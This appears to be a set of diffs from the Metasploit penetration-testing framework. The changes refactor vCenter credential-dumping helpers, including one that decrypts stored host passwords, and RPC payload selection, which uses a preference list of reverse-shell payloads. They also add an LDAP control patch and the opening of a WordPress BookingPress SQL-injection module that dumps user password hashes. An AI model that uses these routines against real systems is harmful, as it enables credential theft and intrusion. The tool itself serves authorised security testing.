module Vcenter
|
||||
module Vcenter
|
||||
include Msf::Post::File
|
||||
include Msf::Post::Linux::Priv
|
||||
|
||||
def manifest_file
|
||||
'/opt/vmware/etc/appliance-manifest.xml'
|
||||
@@ -46,6 +47,10 @@ module Msf
|
||||
'/opt/vmware/vpostgres/current/bin/psql'
|
||||
end
|
||||
|
||||
def vcd_properties_file
|
||||
'/etc/vmware-vpx/vcdb.properties'
|
||||
end
|
||||
|
||||
#
|
||||
# Function to determine if a string is a valid FQDN or not
|
||||
# @param fqdn [String] the string to check if it is a valid FQDN or not
|
||||
@@ -348,160 +353,22 @@ module Msf
|
||||
nil
|
||||
end
|
||||
|
||||
#
|
||||
# A helper function to return the command line statement string to connect to the postgress server
|
||||
# @param pg_password [String] postgress password
|
||||
# @param vcdb_user [String] virtual center database username
|
||||
# @param vcdb_name [String] virtual center database name
|
||||
# @param vcdb_host [String] virtual center hostname. Defaults to 'localhost'
|
||||
# @return [String] a string to run on command line
|
||||
#
|
||||
def postgress_connect(pg_password, vcdb_user, vcdb_name, vcdb_host = 'localhost')
|
||||
# should come in wrapped in quotes, but if not wrap
|
||||
unless pg_password.start_with?("'") && pg_password.end_with?("'")
|
||||
pg_password = "'#{pg_password}'"
|
||||
end
|
||||
"PGPASSWORD=#{pg_password} #{psql_bin} -h '#{vcdb_host}' -U '#{vcdb_user}' -d '#{vcdb_name}'"
|
||||
end
|
||||
|
||||
#
|
||||
# Returns a list of vpc customization contents
|
||||
# @param pg_password [String] postgress password
|
||||
# @param vcdb_user [String] virtual center database username
|
||||
# @param vcdb_name [String] virtual center database name
|
||||
# @return [Hash] where the customization name is the key and value is the parsed xml doc, nil on error
|
||||
#
|
||||
def get_vpx_customization_spec(pg_password, vcdb_user, vcdb_name)
|
||||
return nil unless command_exists? psql_bin
|
||||
|
||||
output = {}
|
||||
vpx_customization_specs = cmd_exec("#{postgress_connect(pg_password, vcdb_user, vcdb_name)} -c 'SELECT DISTINCT name FROM vc.vpx_customization_spec;' -P pager -A -t")
|
||||
return nil if vpx_customization_specs.nil?
|
||||
|
||||
vpx_customization_specs = vpx_customization_specs.split("\n")
|
||||
return nil unless vpx_customization_specs.first
|
||||
|
||||
vpx_customization_specs.each do |spec|
|
||||
xml = cmd_exec("#{postgress_connect(pg_password, vcdb_user, vcdb_name)} -c \"SELECT body FROM vpx_customization_spec WHERE name = '#{spec}\';\" -P pager -A -t").to_s.strip.gsub("\r\n", '').gsub("\n", '').gsub(/>\s*/, '>').gsub(/\s*</, '<')
|
||||
next if xml.nil?
|
||||
|
||||
begin
|
||||
xmldoc = Nokogiri::XML(xml) do |config|
|
||||
config.options = Nokogiri::XML::ParseOptions::STRICT | Nokogiri::XML::ParseOptions::NONET
|
||||
end
|
||||
rescue Nokogiri::XML::SyntaxError
|
||||
print_bad("Unable to read XML from #{spec}")
|
||||
next
|
||||
end
|
||||
output[spec] = xmldoc
|
||||
end
|
||||
output
|
||||
end
|
||||
|
||||
#
|
||||
# helper function to decrypt passwords stored in the pg database
|
||||
# @param b64 [String] base64 string of the password exported from postgres
|
||||
# @param vc_sym_key [String] sym key from virtual center
|
||||
# @return [String] the decrypted password, nil on error
|
||||
|
||||
def vpx_aes_decrypt(b64, vc_sym_key)
|
||||
# https://www.pentera.io/wp-content/uploads/2022/03/Sensitive-Information-Disclosure_VMware-vCenter_f.pdf
|
||||
secret_bytes = Base64.strict_decode64(b64)
|
||||
iv = secret_bytes[0, 16]
|
||||
ciphertext = secret_bytes[16, 64]
|
||||
decipher = OpenSSL::Cipher.new('aes-256-cbc')
|
||||
decipher.decrypt
|
||||
decipher.iv = iv
|
||||
decipher.padding = 1
|
||||
decipher.key = vc_sym_key
|
||||
return (decipher.update(ciphertext) + decipher.final).delete("\000")
|
||||
rescue StandardError => e
|
||||
elog('Error performing vpx_aes_decrypt', error: e)
|
||||
''
|
||||
end
|
||||
|
||||
#
|
||||
# Returns a list of vpc customization contents
|
||||
# @param pg_password [String] postgress password
|
||||
# @param vcdb_user [String] virtual center database username
|
||||
# @param vcdb_name [String] virtual center database name
|
||||
# @param vc_sym_key [String] sym key from virtual center
|
||||
# @return [Array] list of hash tables where each table is a user, nil on error
|
||||
#
|
||||
def get_vpx_users(pg_password, vcdb_user, vcdb_name, vc_sym_key)
|
||||
return nil unless command_exists? psql_bin
|
||||
|
||||
output = []
|
||||
vpxuser_rows = cmd_exec("#{postgress_connect(pg_password, vcdb_user, vcdb_name)} -c 'SELECT dns_name, ip_address, user_name, password FROM vc.vpx_host ORDER BY dns_name ASC;' -P pager -A -t")
|
||||
return nil if vpxuser_rows.nil?
|
||||
|
||||
vpxuser_rows = vpxuser_rows.split("\n")
|
||||
return nil unless vpxuser_rows.first
|
||||
|
||||
vpxuser_rows.each do |vpxuser_row|
|
||||
row_data = vpxuser_row.split('|')
|
||||
next if row_data.length < 4 # shoudld always be 4 based on query, but this will catch 'command not found' or other things like that
|
||||
|
||||
user = {
|
||||
'fqdn' => row_data[0],
|
||||
'ip' => row_data[1],
|
||||
'user' => row_data[2]
|
||||
}
|
||||
|
||||
vpxuser_secret_b64 = row_data[3].gsub('*', '')
|
||||
user['password'] = vpx_aes_decrypt(vpxuser_secret_b64, vc_sym_key).gsub('\"', '"')
|
||||
output.append(user)
|
||||
end
|
||||
output
|
||||
end
|
||||
|
||||
#
|
||||
# Returns a list of virtual machines located on the server
|
||||
# @param pg_password [String] postgress password
|
||||
# @param vcdb_user [String] virtual center database username
|
||||
# @param vcdb_name [String] virtual center database name
|
||||
# @param vc_sym_key [String] sym key from virtual center
|
||||
# @return [Array] list of hash tables where each table is a user, nil on error
|
||||
#
|
||||
def get_vpx_vms(pg_password, vcdb_user, vcdb_name, _vc_sym_key)
|
||||
return nil unless command_exists? psql_bin
|
||||
|
||||
output = []
|
||||
vm_rows = cmd_exec("#{postgress_connect(pg_password, vcdb_user, vcdb_name)} -c 'SELECT vmid, name, configfilename, guest_state, is_template FROM vpxv_vms;' -P pager -A -t")
|
||||
return nil if vm_rows.nil?
|
||||
|
||||
vm_rows = vm_rows.split("\n")
|
||||
return nil unless vm_rows.first
|
||||
|
||||
vm_rows.each do |vm_row|
|
||||
row_data = vm_row.split('|')
|
||||
next if row_data.length < 5 # shoudld always be 5 based on query, but this will catch 'command not found' or other things like that
|
||||
|
||||
vm = {
|
||||
'vmid' => row_data[0],
|
||||
'name' => row_data[1],
|
||||
'configfilename' => row_data[3],
|
||||
'guest_state' => row_data[4],
|
||||
'is_template' => row_data[5]
|
||||
}
|
||||
output.append(vm)
|
||||
end
|
||||
output
|
||||
end
|
||||
|
||||
#
|
||||
# Returns a hash table of the vcdb.properties file
|
||||
# @param location [String] where the file is located. defaults to /etc/vmware-vpx/vcdb.properties
|
||||
# @return [Hash] hash of the file contents, nil on error
|
||||
#
|
||||
def process_vcdb_properties_file(location = '/etc/vmware-vpx/vcdb.properties')
|
||||
def process_vcdb_properties_file(location = vcd_properties_file)
|
||||
return nil unless file_exist?(location)
|
||||
|
||||
contents = read_file(location)
|
||||
return nil if contents.nil?
|
||||
|
||||
if location == vcd_properties_file && is_root? == false
|
||||
print_good('Exploited CVE-2022-22948 to read #{vcd_properties_file}')
|
||||
end
|
||||
output = {}
|
||||
contents.split("\n").each do |line|
|
||||
contents.each_line(chomp: true) do |line|
|
||||
next unless line.include?('=') # attempt to do a little quality control
|
||||
|
||||
line = line.split('=')
|
||||
|
||||
@@ -467,7 +467,6 @@ class RPC_Module < RPC_Base
|
||||
res
|
||||
end
|
||||
|
||||
|
||||
# Executes a module.
|
||||
#
|
||||
# @param [String] mtype Module type. Supported types include (case-sensitive):
|
||||
@@ -738,6 +737,12 @@ private
|
||||
end
|
||||
|
||||
def _run_exploit(mod, opts)
|
||||
if mod.datastore['PAYLOAD']
|
||||
opts['PAYLOAD'] = mod.datastore['PAYLOAD']
|
||||
else
|
||||
opts['PAYLOAD'] = Msf::Payload.choose_payload(mod)
|
||||
end
|
||||
|
||||
s = Msf::Simple::Exploit.exploit_simple(mod, {
|
||||
'Payload' => opts['PAYLOAD'],
|
||||
'Target' => opts['TARGET'],
|
||||
@@ -846,4 +851,3 @@ private
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
|
||||
@@ -56,12 +56,35 @@ class RPC_Session < RPC_Base
|
||||
end
|
||||
|
||||
|
||||
# Stops a session.
|
||||
# Stops a session - alias for killing a session in `msfconsole`
|
||||
#
|
||||
# @param [Integer] sid Session ID.
|
||||
# @raise [Msf::RPC::Exception] Unknown session ID.
|
||||
# @return [Hash] A hash indicating the action was successful. It contains the following key:
|
||||
# * 'result' [String] A message that says 'success'.
|
||||
# @example Here's how you would use this from the client:
|
||||
# # You have an active session, you run session list to view the session number, then pass that session number to the `stop` command:
|
||||
# >> rpc.call('session.list')
|
||||
# {7=>
|
||||
# {"type"=>"meterpreter",
|
||||
# "tunnel_local"=>"192.168.xxx.xxx:4444",
|
||||
# "tunnel_peer"=>"192.168.xxx.xxx:64688",
|
||||
# "via_exploit"=>"exploit/windows/smb/ms17_010_eternalblue",
|
||||
# "via_payload"=>"payload/windows/x64/meterpreter/reverse_tcp",
|
||||
# "desc"=>"Meterpreter",
|
||||
# "info"=>"NT AUTHORITY\\SYSTEM @ DC1",
|
||||
# "workspace"=>"default",
|
||||
# "session_host"=>"192.168.xxx.xxx",
|
||||
# "session_port"=>445,
|
||||
# "target_host"=>"192.168.xxx.xxx",
|
||||
# "username"=>"foo",
|
||||
# "uuid"=>"h9pbmuoh",
|
||||
# "exploit_uuid"=>"tcjj1fqo",
|
||||
# "routes"=>"",
|
||||
# "arch"=>"x86",
|
||||
# "platform"=>"windows"}}
|
||||
# >> rpc.call('session.stop', 7)
|
||||
# => {"result"=>"success"}
|
||||
def rpc_stop( sid)
|
||||
|
||||
s = self.framework.sessions[sid.to_i]
|
||||
@@ -487,4 +510,3 @@ private
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
|
||||
@@ -137,7 +137,12 @@ module SingleCommandShell
|
||||
|
||||
# Send the command to the session's stdin.
|
||||
delimiter = "echo #{token}"
|
||||
shell_data = cmd + "#{command_separator}#{delimiter}#{command_termination}"
|
||||
if cmd.strip.end_with?(command_separator)
|
||||
# This command already ends with a delimiter - don't need to add another one
|
||||
shell_data = cmd + "#{delimiter}#{command_termination}"
|
||||
else
|
||||
shell_data = cmd + "#{command_separator}#{delimiter}#{command_termination}"
|
||||
end
|
||||
unless @is_echo_shell
|
||||
shell_data = "#{delimiter}#{command_separator}#{shell_data}"
|
||||
end
|
||||
|
||||
@@ -96,12 +96,6 @@ class Evasion
|
||||
|
||||
print_status "Payload Handler Started as Job #{job_id}"
|
||||
end
|
||||
|
||||
# This is the same functionality as Exploit::choose_payload, so call it
|
||||
def self.choose_payload(mod)
|
||||
Msf::Ui::Console::CommandDispatcher::Exploit.choose_payload(mod)
|
||||
end
|
||||
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
@@ -269,64 +269,9 @@ class Exploit
|
||||
alias cmd_rerun_help cmd_rexploit_help
|
||||
|
||||
# Select a reasonable default payload and minimally configure it
|
||||
# TODO: Move this somewhere better or make it more dynamic?
|
||||
# @param [Msf::Module] mod
|
||||
def self.choose_payload(mod)
|
||||
compatible_payloads = mod.compatible_payloads(
|
||||
excluded_platforms: ['Multi'] # We don't want to select a multi payload
|
||||
).map(&:first)
|
||||
|
||||
# XXX: Determine LHOST based on global LHOST, RHOST or an arbitrary internet address
|
||||
lhost = mod.datastore['LHOST'] || Rex::Socket.source_address(mod.datastore['RHOST'] || '50.50.50.50')
|
||||
|
||||
configure_payload = lambda do |payload|
|
||||
if mod.datastore.is_a?(Msf::DataStoreWithFallbacks)
|
||||
payload_defaults = { 'PAYLOAD' => payload }
|
||||
|
||||
# Set LHOST if this is a reverse payload
|
||||
if payload.index('reverse')
|
||||
payload_defaults['LHOST'] = lhost
|
||||
end
|
||||
mod.datastore.import_defaults_from_hash(payload_defaults, imported_by: 'choose_payload')
|
||||
else
|
||||
mod.datastore['PAYLOAD'] = payload
|
||||
# Set LHOST if this is a reverse payload
|
||||
if payload.index('reverse')
|
||||
mod.datastore['LHOST'] = lhost
|
||||
end
|
||||
end
|
||||
|
||||
payload
|
||||
end
|
||||
|
||||
# If there is only one compatible payload, return it immediately
|
||||
if compatible_payloads.length == 1
|
||||
return configure_payload.call(compatible_payloads.first)
|
||||
end
|
||||
|
||||
# XXX: This approach is subpar, and payloads should really be ranked!
|
||||
preferred_payloads = [
|
||||
# These payloads are generally reliable and common enough in practice
|
||||
'/meterpreter/reverse_tcp',
|
||||
'/shell/reverse_tcp',
|
||||
'cmd/unix/reverse_bash',
|
||||
'cmd/unix/reverse_netcat',
|
||||
'cmd/windows/powershell_reverse_tcp',
|
||||
# Fall back on a generic payload to autoselect a specific payload
|
||||
'generic/shell_reverse_tcp',
|
||||
'generic/shell_bind_tcp'
|
||||
]
|
||||
|
||||
# XXX: This is not efficient in the slightest
|
||||
preferred_payloads.each do |type|
|
||||
payload = compatible_payloads.find { |name| name.end_with?(type) }
|
||||
|
||||
next unless payload
|
||||
|
||||
return configure_payload.call(payload)
|
||||
end
|
||||
|
||||
nil
|
||||
Msf::Payload.choose_payload(mod)
|
||||
end
|
||||
|
||||
end
|
||||
|
||||
@@ -165,7 +165,7 @@ module Net # :nodoc:
|
||||
# my $res = Net::DNS::Resolver->new(config_file => '/my/dns.conf');
|
||||
#
|
||||
# This is supported on both UNIX and Windows. Values pulled from a custom
|
||||
# configuration file override the the system's defaults, but can still be
|
||||
# configuration file override the system's defaults, but can still be
|
||||
# overridden by the other arguments to Resolver::new.
|
||||
#
|
||||
# Explicit arguments to Resolver::new override both the system's defaults
|
||||
|
||||
@@ -408,7 +408,7 @@ module Rex
|
||||
end
|
||||
|
||||
#
|
||||
# An error describing an issue that occurred while parsing the the data structure.
|
||||
# An error describing an issue that occurred while parsing the data structure.
|
||||
#
|
||||
class ParserError < GraphMLError
|
||||
end
|
||||
|
||||
+1
-1
@@ -31,7 +31,7 @@ class TcpServerChannel < Rex::Post::Meterpreter::Channel
|
||||
# Rex::Post::Meterpreter::Extensions::Stdapi::Net::Socket. All incoming requests from the meterpreter
|
||||
# for a COMMAND_ID_STDAPI_NET_TCP_CHANNEL_OPEN will be processed here. We create a new TcpClientChannel for each request
|
||||
# received and store it in the respective tcp server channels list of new pending client channels.
|
||||
# These new tcp client channels are passed off via a call the the tcp server channels accept() method.
|
||||
# These new tcp client channels are passed off via a call the tcp server channels accept() method.
|
||||
#
|
||||
def self.request_handler(client, packet)
|
||||
return false unless packet.method == COMMAND_ID_STDAPI_NET_TCP_CHANNEL_OPEN
|
||||
|
||||
@@ -41,6 +41,234 @@ class Net::LDAP::Connection # :nodoc:
|
||||
|
||||
yield self if block_given?
|
||||
end
|
||||
|
||||
# Monkeypatch upstream library for now to support :control
|
||||
# hash option in `args` so that we can provide controls within
|
||||
# searches. Needed so we can specify the LDAP_SERVER_SD_FLAGS_OID
|
||||
# flag for searches to prevent getting the SACL when querying for
|
||||
# ntSecurityDescriptor, as this is retrieved by default and non-admin
|
||||
# users are not allowed to retrieve SACLs for objects. Therefore by
|
||||
# adjusting the search to not retrieve SACLs, non-admin users can still
|
||||
# retrieve information about the security of objects without violating this rule.
|
||||
#
|
||||
# @see https://github.com/rapid7/metasploit-framework/issues/17324
|
||||
# @see https://github.com/ruby-ldap/ruby-net-ldap/pull/411
|
||||
#
|
||||
# @param [Hash] args A hash of the arguments to be utilized by the search operation.
|
||||
#
|
||||
# @return [Net::LDAP::PDU] A Protocol Data Unit (PDU) object, represented by the Net::LDAP::PDU class, containing the results of the search operation.
|
||||
#
|
||||
def search(args = nil)
|
||||
args ||= {}
|
||||
|
||||
# filtering, scoping, search base
|
||||
# filter: https://tools.ietf.org/html/rfc4511#section-4.5.1.7
|
||||
# base: https://tools.ietf.org/html/rfc4511#section-4.5.1.1
|
||||
# scope: https://tools.ietf.org/html/rfc4511#section-4.5.1.2
|
||||
filter = args[:filter] || Net::LDAP::Filter.eq("objectClass", "*")
|
||||
base = args[:base]
|
||||
scope = args[:scope] || Net::LDAP::SearchScope_WholeSubtree
|
||||
|
||||
# attr handling
|
||||
# attrs: https://tools.ietf.org/html/rfc4511#section-4.5.1.8
|
||||
# attrs_only: https://tools.ietf.org/html/rfc4511#section-4.5.1.6
|
||||
attrs = Array(args[:attributes])
|
||||
attrs_only = args[:attributes_only] == true
|
||||
|
||||
# references
|
||||
# refs: https://tools.ietf.org/html/rfc4511#section-4.5.3
|
||||
# deref: https://tools.ietf.org/html/rfc4511#section-4.5.1.3
|
||||
refs = args[:return_referrals] == true
|
||||
deref = args[:deref] || Net::LDAP::DerefAliases_Never
|
||||
|
||||
# limiting, paging, sorting
|
||||
# size: https://tools.ietf.org/html/rfc4511#section-4.5.1.4
|
||||
# time: https://tools.ietf.org/html/rfc4511#section-4.5.1.5
|
||||
size = args[:size].to_i
|
||||
time = args[:time].to_i
|
||||
paged = args[:paged_searches_supported]
|
||||
sort = args.fetch(:sort_controls, false)
|
||||
|
||||
# arg validation
|
||||
raise ArgumentError, "search base is required" unless base
|
||||
raise ArgumentError, "invalid search-size" unless size >= 0
|
||||
raise ArgumentError, "invalid search scope" unless Net::LDAP::SearchScopes.include?(scope)
|
||||
raise ArgumentError, "invalid alias dereferencing value" unless Net::LDAP::DerefAliasesArray.include?(deref)
|
||||
|
||||
# arg transforms
|
||||
filter = Net::LDAP::Filter.construct(filter) if filter.is_a?(String)
|
||||
ber_attrs = attrs.map { |attr| attr.to_s.to_ber }
|
||||
ber_sort = encode_sort_controls(sort)
|
||||
|
||||
# An interesting value for the size limit would be close to A/D's
|
||||
# built-in page limit of 1000 records, but openLDAP newer than version
|
||||
# 2.2.0 chokes on anything bigger than 126. You get a silent error that
|
||||
# is easily visible by running slapd in debug mode. Go figure.
|
||||
#
|
||||
# Changed this around 06Sep06 to support a caller-specified search-size
|
||||
# limit. Because we ALWAYS do paged searches, we have to work around the
|
||||
# problem that it's not legal to specify a "normal" sizelimit (in the
|
||||
# body of the search request) that is larger than the page size we're
|
||||
# requesting. Unfortunately, I have the feeling that this will break
|
||||
# with LDAP servers that don't support paged searches!!!
|
||||
#
|
||||
# (Because we pass zero as the sizelimit on search rounds when the
|
||||
# remaining limit is larger than our max page size of 126. In these
|
||||
# cases, I think the caller's search limit will be ignored!)
|
||||
#
|
||||
# CONFIRMED: This code doesn't work on LDAPs that don't support paged
|
||||
# searches when the size limit is larger than 126. We're going to have
|
||||
# to do a root-DSE record search and not do a paged search if the LDAP
|
||||
# doesn't support it. Yuck.
|
||||
rfc2696_cookie = [126, ""]
|
||||
result_pdu = nil
|
||||
n_results = 0
|
||||
|
||||
message_id = next_msgid
|
||||
|
||||
instrument "search.net_ldap_connection",
|
||||
message_id: message_id,
|
||||
filter: filter,
|
||||
base: base,
|
||||
scope: scope,
|
||||
size: size,
|
||||
time: time,
|
||||
sort: sort,
|
||||
referrals: refs,
|
||||
deref: deref,
|
||||
attributes: attrs do |payload|
|
||||
loop do
|
||||
# should collect this into a private helper to clarify the structure
|
||||
query_limit = 0
|
||||
if size > 0
|
||||
query_limit = if paged
|
||||
(((size - n_results) < 126) ? (size - n_results) : 0)
|
||||
else
|
||||
size
|
||||
end
|
||||
end
|
||||
|
||||
request = [
|
||||
base.to_ber,
|
||||
scope.to_ber_enumerated,
|
||||
deref.to_ber_enumerated,
|
||||
query_limit.to_ber, # size limit
|
||||
time.to_ber,
|
||||
attrs_only.to_ber,
|
||||
filter.to_ber,
|
||||
ber_attrs.to_ber_sequence,
|
||||
].to_ber_appsequence(Net::LDAP::PDU::SearchRequest)
|
||||
|
||||
# rfc2696_cookie sometimes contains binary data from Microsoft Active Directory
|
||||
# this breaks when calling to_ber. (Can't force binary data to UTF-8)
|
||||
# we have to disable paging (even though server supports it) to get around this...
|
||||
|
||||
user_controls = args.fetch(:controls, [])
|
||||
controls = []
|
||||
controls <<
|
||||
[
|
||||
Net::LDAP::LDAPControls::PAGED_RESULTS.to_ber,
|
||||
# Criticality MUST be false to interoperate with normal LDAPs.
|
||||
false.to_ber,
|
||||
rfc2696_cookie.map(&:to_ber).to_ber_sequence.to_s.to_ber,
|
||||
].to_ber_sequence if paged
|
||||
controls << ber_sort if ber_sort
|
||||
if controls.empty? && user_controls.empty?
|
||||
controls = nil
|
||||
else
|
||||
controls += user_controls
|
||||
controls = controls.to_ber_contextspecific(0)
|
||||
end
|
||||
|
||||
write(request, controls, message_id)
|
||||
|
||||
result_pdu = nil
|
||||
controls = []
|
||||
|
||||
while pdu = queued_read(message_id)
|
||||
case pdu.app_tag
|
||||
when Net::LDAP::PDU::SearchReturnedData
|
||||
n_results += 1
|
||||
yield pdu.search_entry if block_given?
|
||||
when Net::LDAP::PDU::SearchResultReferral
|
||||
if refs
|
||||
if block_given?
|
||||
se = Net::LDAP::Entry.new
|
||||
se[:search_referrals] = (pdu.search_referrals || [])
|
||||
yield se
|
||||
end
|
||||
end
|
||||
when Net::LDAP::PDU::SearchResult
|
||||
result_pdu = pdu
|
||||
controls = pdu.result_controls
|
||||
if refs && pdu.result_code == Net::LDAP::ResultCodeReferral
|
||||
if block_given?
|
||||
se = Net::LDAP::Entry.new
|
||||
se[:search_referrals] = (pdu.search_referrals || [])
|
||||
yield se
|
||||
end
|
||||
end
|
||||
break
|
||||
else
|
||||
raise Net::LDAP::ResponseTypeInvalidError, "invalid response-type in search: #{pdu.app_tag}"
|
||||
end
|
||||
end
|
||||
|
||||
if result_pdu.nil?
|
||||
raise Net::LDAP::ResponseMissingOrInvalidError, "response missing"
|
||||
end
|
||||
|
||||
# count number of pages of results
|
||||
payload[:page_count] ||= 0
|
||||
payload[:page_count] += 1
|
||||
|
||||
# When we get here, we have seen a type-5 response. If there is no
|
||||
# error AND there is an RFC-2696 cookie, then query again for the next
|
||||
# page of results. If not, we're done. Don't screw this up or we'll
|
||||
# break every search we do.
|
||||
#
|
||||
# Noticed 02Sep06, look at the read_ber call in this loop, shouldn't
|
||||
# that have a parameter of AsnSyntax? Does this just accidentally
|
||||
# work? According to RFC-2696, the value expected in this position is
|
||||
# of type OCTET STRING, covered in the default syntax supported by
|
||||
# read_ber, so I guess we're ok.
|
||||
more_pages = false
|
||||
if result_pdu.result_code == Net::LDAP::ResultCodeSuccess and controls
|
||||
controls.each do |c|
|
||||
if c.oid == Net::LDAP::LDAPControls::PAGED_RESULTS
|
||||
# just in case some bogus server sends us more than 1 of these.
|
||||
more_pages = false
|
||||
if c.value and c.value.length > 0
|
||||
cookie = c.value.read_ber[1]
|
||||
if cookie and cookie.length > 0
|
||||
rfc2696_cookie[1] = cookie
|
||||
more_pages = true
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
break unless more_pages
|
||||
end # loop
|
||||
|
||||
# track total result count
|
||||
payload[:result_count] = n_results
|
||||
|
||||
result_pdu || OpenStruct.new(:status => :failure, :result_code => Net::LDAP::ResultCodeOperationsError, :message => "Invalid search")
|
||||
end # instrument
|
||||
ensure
|
||||
|
||||
# clean up message queue for this search
|
||||
messages = message_queue.delete(message_id)
|
||||
|
||||
# in the exceptional case some messages were *not* consumed from the queue,
|
||||
# instrument the event but do not fail.
|
||||
if !messages.nil? && !messages.empty?
|
||||
instrument "search_messages_unread.net_ldap_connection",
|
||||
message_id: message_id, messages: messages
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
module Rex
|
||||
|
||||
@@ -14,7 +14,7 @@ module Rex
|
||||
# @return [Integer] the Java RMI version
|
||||
attr_accessor :version
|
||||
# @!attribute protocol
|
||||
# @return [Integer] the protocol where the the messages are wrapped within
|
||||
# @return [Integer] the protocol where the messages are wrapped within
|
||||
attr_accessor :protocol
|
||||
|
||||
private
|
||||
|
||||
@@ -64,7 +64,7 @@ class MetasploitModule < Msf::Auxiliary
|
||||
sploit << "ST:uuid:schemas:device:MX:3"
|
||||
# the packet can be at most 1500 bytes long, so add appropriate number of ' ' or '\t'
|
||||
# this makes the DoS exploit more probable, since we're occupying the stack with arbitrary
|
||||
# characters: there's more chance that the the program will run off the stack.
|
||||
# characters: there's more chance that the program will run off the stack.
|
||||
sploit += ' '*(1500-sploit.length)
|
||||
|
||||
|
||||
|
||||
@@ -13,7 +13,7 @@ class MetasploitModule < Msf::Auxiliary
|
||||
'Description' => %q{
|
||||
This module dependent on the given filename extension creates either
|
||||
a .lnk, .scf, .url, .xml, or desktop.ini file which includes a reference
|
||||
to the the specified remote host, causing SMB connections to be initiated
|
||||
to the specified remote host, causing SMB connections to be initiated
|
||||
from any user that views the file.
|
||||
},
|
||||
'License' => MSF_LICENSE,
|
||||
|
||||
@@ -50,6 +50,13 @@ class MetasploitModule < Msf::Auxiliary
|
||||
CERTIFICATE_AUTOENROLLMENT_EXTENDED_RIGHT = 'a05b8cc2-17bc-4802-a710-e7c15ab866a2'.freeze
|
||||
CONTROL_ACCESS = 0x00000100
|
||||
|
||||
# LDAP_SERVER_SD_FLAGS constant definition, taken from https://ldapwiki.com/wiki/LDAP_SERVER_SD_FLAGS_OID
|
||||
LDAP_SERVER_SD_FLAGS_OID = '1.2.840.113556.1.4.801'.freeze
|
||||
OWNER_SECURITY_INFORMATION = 0x1
|
||||
GROUP_SECURITY_INFORMATION = 0x2
|
||||
DACL_SECURITY_INFORMATION = 0x4
|
||||
SACL_SECURITY_INFORMATION = 0x8
|
||||
|
||||
def parse_dacl_or_sacl(acl)
|
||||
flag_allowed_to_enroll = false
|
||||
allowed_sids = []
|
||||
@@ -119,7 +126,25 @@ class MetasploitModule < Msf::Auxiliary
|
||||
fail_with(Failure::BadConfig, "Could not compile the filter! Error was #{e}")
|
||||
end
|
||||
|
||||
returned_entries = ldap.search(base: full_base_dn, filter: filter, attributes: attributes)
|
||||
# Set the value of LDAP_SERVER_SD_FLAGS_OID flag so everything but
|
||||
# the SACL flag is set, as we need administrative privileges to retrieve
|
||||
# the SACL from the ntSecurityDescriptor attribute on Windows AD LDAP servers.
|
||||
#
|
||||
# Note that without specifying the LDAP_SERVER_SD_FLAGS_OID control in this manner,
|
||||
# the LDAP searchRequest will default to trying to grab all possible attributes of
|
||||
# the ntSecurityDescriptor attribute, hence resulting in an attempt to retrieve the
|
||||
# SACL even if the user is not an administrative user.
|
||||
#
|
||||
# Now one may think that we would just get the rest of the data without the SACL field,
|
||||
# however in reality LDAP will cause that attribute to just be blanked out if a part of it
|
||||
# cannot be retrieved, so we just will get nothing for the ntSecurityDescriptor attribute
|
||||
# in these cases if the user doesn't have permissions to read the SACL.
|
||||
all_but_sacl_flag = OWNER_SECURITY_INFORMATION | GROUP_SECURITY_INFORMATION | DACL_SECURITY_INFORMATION
|
||||
control_values = [all_but_sacl_flag].map(&:to_ber).to_ber_sequence.to_s.to_ber
|
||||
controls = []
|
||||
controls << [LDAP_SERVER_SD_FLAGS_OID.to_ber, true.to_ber, control_values].to_ber_sequence
|
||||
|
||||
returned_entries = ldap.search(base: full_base_dn, filter: filter, attributes: attributes, controls: controls)
|
||||
query_result = ldap.as_json['result']['ldap_result']
|
||||
|
||||
validate_query_result!(query_result, filter)
|
||||
|
||||
@@ -328,7 +328,7 @@ class MetasploitModule < Msf::Auxiliary
|
||||
modified = true
|
||||
elsif attribute_properties[attribute_name][:attributesyntax] == '2.5.5.10' # OctetString
|
||||
if attribute_name.to_s.match(/guid$/i)
|
||||
# Get the the entry[attribute_name] object will be an array containing a single string entry,
|
||||
# Get the entry[attribute_name] object will be an array containing a single string entry,
|
||||
# so reach in and extract that string, which will contain binary data.
|
||||
bin_guid = entry[attribute_name][0]
|
||||
if bin_guid.length == 16 # Length of binary data in bytes since this is what .length uses. In bits its 128 bits.
|
||||
|
||||
@@ -0,0 +1,153 @@
|
||||
##
|
||||
# This module requires Metasploit: https://metasploit.com/download
|
||||
# Current source: https://github.com/rapid7/metasploit-framework
|
||||
##
|
||||
|
||||
class MetasploitModule < Msf::Auxiliary
|
||||
include Msf::Exploit::Remote::HttpClient
|
||||
include Msf::Exploit::SQLi
|
||||
prepend Msf::Exploit::Remote::AutoCheck
|
||||
|
||||
NONCE_NOT_FOUND_ERROR_MSG = 'Unable to get wp-nonce as an unauthenticated user'.freeze
|
||||
GET_SQLI_OBJECT_FAILED_ERROR_MSG = 'Unable to successfully retrieve an SQLi object'.freeze
|
||||
|
||||
def initialize(info = {})
|
||||
super(
|
||||
update_info(
|
||||
info,
|
||||
'Name' => 'Wordpress BookingPress bookingpress_front_get_category_services SQLi',
|
||||
'Description' => %q{
|
||||
The BookingPress WordPress plugin before 1.0.11 fails to properly sanitize user supplied data
|
||||
in the `total_service` parameter of the `bookingpress_front_get_category_services` AJAX action
|
||||
(available to unauthenticated users), prior to using it in a dynamically constructed SQL query.
|
||||
As a result, unauthenticated attackers can conduct an SQL injection attack to dump sensitive
|
||||
data from the backend database such as usernames and password hashes.
|
||||
|
||||
This module uses this vulnerability to dump the list of WordPress users and their associated
|
||||
email addresses and password hashes for cracking offline.
|
||||
},
|
||||
'Author' => [
|
||||
'cydave', # Of cyllective. Discovery of bug.
|
||||
'destr4ct', # PoC Code for exploiting the bug.
|
||||
'jheysel-r7' # Metasploit module
|
||||
],
|
||||
'References' => [
|
||||
[ 'URL', 'https://github.com/destr4ct/CVE-2022-0739'],
|
||||
[ 'WPVDB', '388cd42d-b61a-42a4-8604-99b812db2357'],
|
||||
[ 'CVE', '2022-0739']
|
||||
],
|
||||
'License' => MSF_LICENSE,
|
||||
'DisclosureDate' => '2022-02-28',
|
||||
'Notes' => {
|
||||
'Stability' => [CRASH_SAFE],
|
||||
'Reliability' => [REPEATABLE_SESSION],
|
||||
